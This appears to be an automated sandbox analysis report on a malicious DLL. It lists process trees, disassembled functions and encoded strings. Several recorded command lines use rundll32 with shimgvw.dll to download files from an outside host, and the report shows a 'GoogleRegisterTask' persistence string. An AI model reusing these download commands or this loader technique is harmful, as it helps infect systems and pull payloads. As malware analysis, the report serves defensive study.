Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\QEydjQdRxs.dll,mydllmain
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 2148, Parent PID: 7104

General

Target ID:	7
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 5440, Parent PID: 1532

General

Target ID:	11
Start time:	00:53:01
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 5428, Parent PID: 1532

General

Target ID:	12
Start time:	00:53:01
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0x540000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 1532, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 6B921B85 Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 303
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,FB32F76A), ref: 6B921C0B
_strlen.LIBCMT ref: 6B921D30
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6B921D9D
FindNextFileW.KERNELBASE(?,?,?,?,?,FB32F76A), ref: 6B921FAC

Strings

%s\%s, xrefs: 6B921C6E
PT30S, xrefs: 6B921E10
%s\*.*, xrefs: 6B921BE7
%s\%s, xrefs: 6B921E84
GoogleRegisterTask, xrefs: 6B921E69
%s\%s, xrefs: 6B921F48
-a , xrefs: 6B921DC2
s`bovb-f{f, xrefs: 6B921DF8
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>, xrefs: 6B921D10

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: FileFind$EnvironmentExpandFirstNextStrings_strlen
String ID: %s\%s$%s\%s$%s\%s$%s\*.*$-a $GoogleRegisterTask$IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>$PT30S$s`bovb-f{f
API String ID: 4146766196-3364674013
Opcode ID: 3a4bdf3f3fb1ad213e23c14635e596be27db2fd0df00700b48f7b024f46defc4
Instruction ID: 1c06049022173fae5acd135399feb2e4b365ed823bab053bdd85251b73887f1d
Opcode Fuzzy Hash: 3a4bdf3f3fb1ad213e23c14635e596be27db2fd0df00700b48f7b024f46defc4
Instruction Fuzzy Hash: D5C1AD71C24259ABDF20EFA4CD4ABED3BB8BF06708F604465F904DA185EB39CA54CB51

Function 6B924402 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 260
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6B92171F: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6B92175A
Part of subcall function 6B92171F: _strlen.LIBCMT ref: 6B92177C
Part of subcall function 6B92171F: GetProcAddress.KERNEL32(?), ref: 6B9217E2
Part of subcall function 6B92171F: _strlen.LIBCMT ref: 6B92180D

_strlen.LIBCMT ref: 6B924460
GetEnvironmentVariableW.KERNEL32(?,?,00000032), ref: 6B9244CA
_strlen.LIBCMT ref: 6B9244F0
_strlen.LIBCMT ref: 6B924571
_strlen.LIBCMT ref: 6B9245E8

Part of subcall function 6B92192F: _strlen.LIBCMT ref: 6B9219BD
Part of subcall function 6B92192F: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6B9474C4), ref: 6B921A5E

Sleep.KERNELBASE(000005DC), ref: 6B924654
Sleep.KERNELBASE(00007530), ref: 6B92465F
_strlen.LIBCMT ref: 6B924685
_strlen.LIBCMT ref: 6B924706

Part of subcall function 6B921B85: FindFirstFileW.KERNELBASE(?,?,?,?,?,FB32F76A), ref: 6B921C0B

Strings

%s%s, xrefs: 6B9246C4
%s%s, xrefs: 6B92452F
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6B9246E6
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB, xrefs: 6B9245C8
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6B924440
%s%s, xrefs: 6B924745
[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6B924665
VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>, xrefs: 6B924551
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB, xrefs: 6B9244D0

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: _strlen$Sleep$AddressCreateEnvironmentFileFindFirstHandleModuleProcProcessVariable
String ID: %s%s$%s%s$%s%s$VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 405535372-2132796354
Opcode ID: c204671a4d5e5b8c22c43bd213b84e4cfe33b495e8799ec3bd81a89ba71fe9a0
Instruction ID: 73e30f6645525a1c54cbd50ef7894b6c9cb25dd10adf6a9621a040bc308ca4aa
Opcode Fuzzy Hash: c204671a4d5e5b8c22c43bd213b84e4cfe33b495e8799ec3bd81a89ba71fe9a0
Instruction Fuzzy Hash: D2A138B2C4025CABDF31DBB8DC86FDD7BB8AF1920CF104025E914A7286EB3992158F55

Function 6B92192F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174
processCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6B9219BD
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6B9474C4), ref: 6B921A5E
_strlen.LIBCMT ref: 6B921AC4
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6B9474E0), ref: 6B921B60

Strings

bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB, xrefs: 6B921AA4
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6B92199D
%s %s, xrefs: 6B921A24
%s %s, xrefs: 6B921B26

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: CreateProcess_strlen
String ID: %s %s$%s %s$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB
API String ID: 3222040079-4228346574
Opcode ID: 0ec4928c7e7e4d673e1eae0b37eb57f345344c797c0f595e4af2d3bbd3a47c0b
Instruction ID: 8e7822752293f62d2feb15488c76926c28e4373ea49bafa1c58a4ea7522ba39a
Opcode Fuzzy Hash: 0ec4928c7e7e4d673e1eae0b37eb57f345344c797c0f595e4af2d3bbd3a47c0b
Instruction Fuzzy Hash: 5F516071D5024CABEB20DBB4DC42FDD77B8AF1570CF140025E614EA186EBB9E6148B65

Function 6B924CA3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6B924CEA
___scrt_uninitialize_crt.LIBCMT ref: 6B924D04

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: a8db96b3f68fede142adb9981642cb3d21ae0f1cb3877fa1b21e0522104e8654
Instruction ID: b6e57b65ade0c133a72dde679e227e4e8048e8a8daf3721929caeab953e4ed0d
Opcode Fuzzy Hash: a8db96b3f68fede142adb9981642cb3d21ae0f1cb3877fa1b21e0522104e8654
Instruction Fuzzy Hash: CF41E272D24624AFEB119F68CC41BAE7BA8EF91B58F014155EA146735CD738DD018FE0

Function 6B924D53 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6B924D90
dllmain_crt_dispatch.LIBCMT ref: 6B924DA7
dllmain_raw.LIBCMT ref: 6B924DEF
dllmain_crt_dispatch.LIBCMT ref: 6B924E02
dllmain_raw.LIBCMT ref: 6B924E15

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 0732268a67b247a0e7c1b0cb0901112ae1c37e0af4b8a850df3c23f3c36f9d3f
Instruction ID: ce7cc07099c18a497944fa6da52c97b08fcff70d4221a9d8e28422aca8c2b582
Opcode Fuzzy Hash: 0732268a67b247a0e7c1b0cb0901112ae1c37e0af4b8a850df3c23f3c36f9d3f
Instruction Fuzzy Hash: 0F218071D10625AFEB214F65CC41A6F3A69EB85A98B014155FE2857318D339DE018FE0

Function 6B924B9C Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6B924BE9

Part of subcall function 6B9250D5: RtlInitializeSListHead.KERNEL32(6B946DC0,6B924BF3,6B9441F8,00000010,6B924B84,?,?,?,6B924DAC,?,00000001,?,?,00000001,?,6B944240), ref: 6B9250DA

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6B924C53

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: b6a72d304883c8d258b923b2589df85b0894e918534115330e9d608ed15e218b
Instruction ID: 5aec498df37c5461c11c63761ef7969e335287be0ee9519e1e0c053f2a50f735
Opcode Fuzzy Hash: b6a72d304883c8d258b923b2589df85b0894e918534115330e9d608ed15e218b
Instruction Fuzzy Hash: E321F371EA8201ABDB19EFB898167DC37A59F2332CF008499D641273CDDB7DD044DA62

Function 6B930258 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6B9302A4
GetFileType.KERNELBASE(00000000), ref: 6B9302B6

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 17ac3094462a3919286bdeed36754eb124592eba934e5aef9f9c9d97c16cb0a5
Instruction ID: 98619f29e87463e0b406f706244dd55b29cf41d60b34c8eceaf3705e24040df7
Opcode Fuzzy Hash: 17ac3094462a3919286bdeed36754eb124592eba934e5aef9f9c9d97c16cb0a5
Instruction Fuzzy Hash: A21193716487A24AC7228A3E8CC4712BB98AB4B770B34079AD4B6965F1C738D886C342

Function 6B931658 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,6B921775,6B92C75A,?,6B92F6DC,00000001,00000364,00000007,000000FF,6B92C75A,6B92C75A,?,6B928182,6B92DE7A,F08BD84D), ref: 6B931699

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 350ca9f6db5dba3064255ced565cb56368c9c61ba2b6a71d8daf4c85f09b7364
Instruction ID: 61acf84c31470fcfc314ac724711db85dea3bd4baed3f968ba4f1c76393044d4
Opcode Fuzzy Hash: 350ca9f6db5dba3064255ced565cb56368c9c61ba2b6a71d8daf4c85f09b7364
Instruction Fuzzy Hash: 06F059319445346BEB105AB68804B6A375C9F437ACB098161EC14D61A0CB3CD48086E2

Function 6B921000 Relevance: 1.5, APIs: 1, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6B921019

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c0aaccb24c97c0b6e4e78997a3cd543fda10fcc56bdf7bec65950323869da43b
Instruction ID: 25181765ccabb753b88994d2f82c29c133a3e757ae94da95a215f95797e2db4e
Opcode Fuzzy Hash: c0aaccb24c97c0b6e4e78997a3cd543fda10fcc56bdf7bec65950323869da43b
Instruction Fuzzy Hash: 6BD02230CA9228FBCF0CABB4C406B0D73E8EF0F710F008020EA1487300C239CA00A922

Non-executed Functions

Function 6B93612B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6B936342

Strings

1#INF, xrefs: 6B936261
1#SNAN, xrefs: 6B936237
1#IND, xrefs: 6B936230
1#QNAN, xrefs: 6B93623E

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d976abd30eb9d49bf9b6ec06300b6f49cffbdefb9cb3c9e42cc9004f95e1013d
Instruction ID: d05f21215c794a634dd2061b2e706e2f623c362f4078f5ff53b353693908932a
Opcode Fuzzy Hash: d976abd30eb9d49bf9b6ec06300b6f49cffbdefb9cb3c9e42cc9004f95e1013d
Instruction Fuzzy Hash: 7BD23871E082298FDB65CE28CD40BDAB7B9EB45305F1441EAD84DE7240EB79AE85CF41

Function 6B935C80 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction ID: 72cb15e5ac9403e82a56f141f29b12f3bca43025b52b9abf62c9922df864bbbd
Opcode Fuzzy Hash: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction Fuzzy Hash: 70024B71E052299BDB14CFA9C880B9EFBF5FF49314F2482A9D919E7340D735AA41CB90

Function 6B9253EE Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6B9253FA
IsDebuggerPresent.KERNEL32 ref: 6B9254C6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6B9254DF
UnhandledExceptionFilter.KERNEL32(?), ref: 6B9254E9

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fb5cd98ea3809de51a52a9eb30fe1909cef6125316d9b5d8cb11eeb7b52a3265
Instruction ID: 7b0daec18b2c7cb4155be1dec9115bdcdff20e8a9522902d6fa85c496224547a
Opcode Fuzzy Hash: fb5cd98ea3809de51a52a9eb30fe1909cef6125316d9b5d8cb11eeb7b52a3265
Instruction Fuzzy Hash: A4310775D1521C9BDF20DFA0C849BCDBBB8AF09304F1041AAE50CAB244E7749A85CF44

Function 6B92DCFD Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,6B921775), ref: 6B92DDF5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,6B921775), ref: 6B92DDFF
UnhandledExceptionFilter.KERNEL32(6B92144D,?,?,?,?,?,6B921775), ref: 6B92DE0C

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

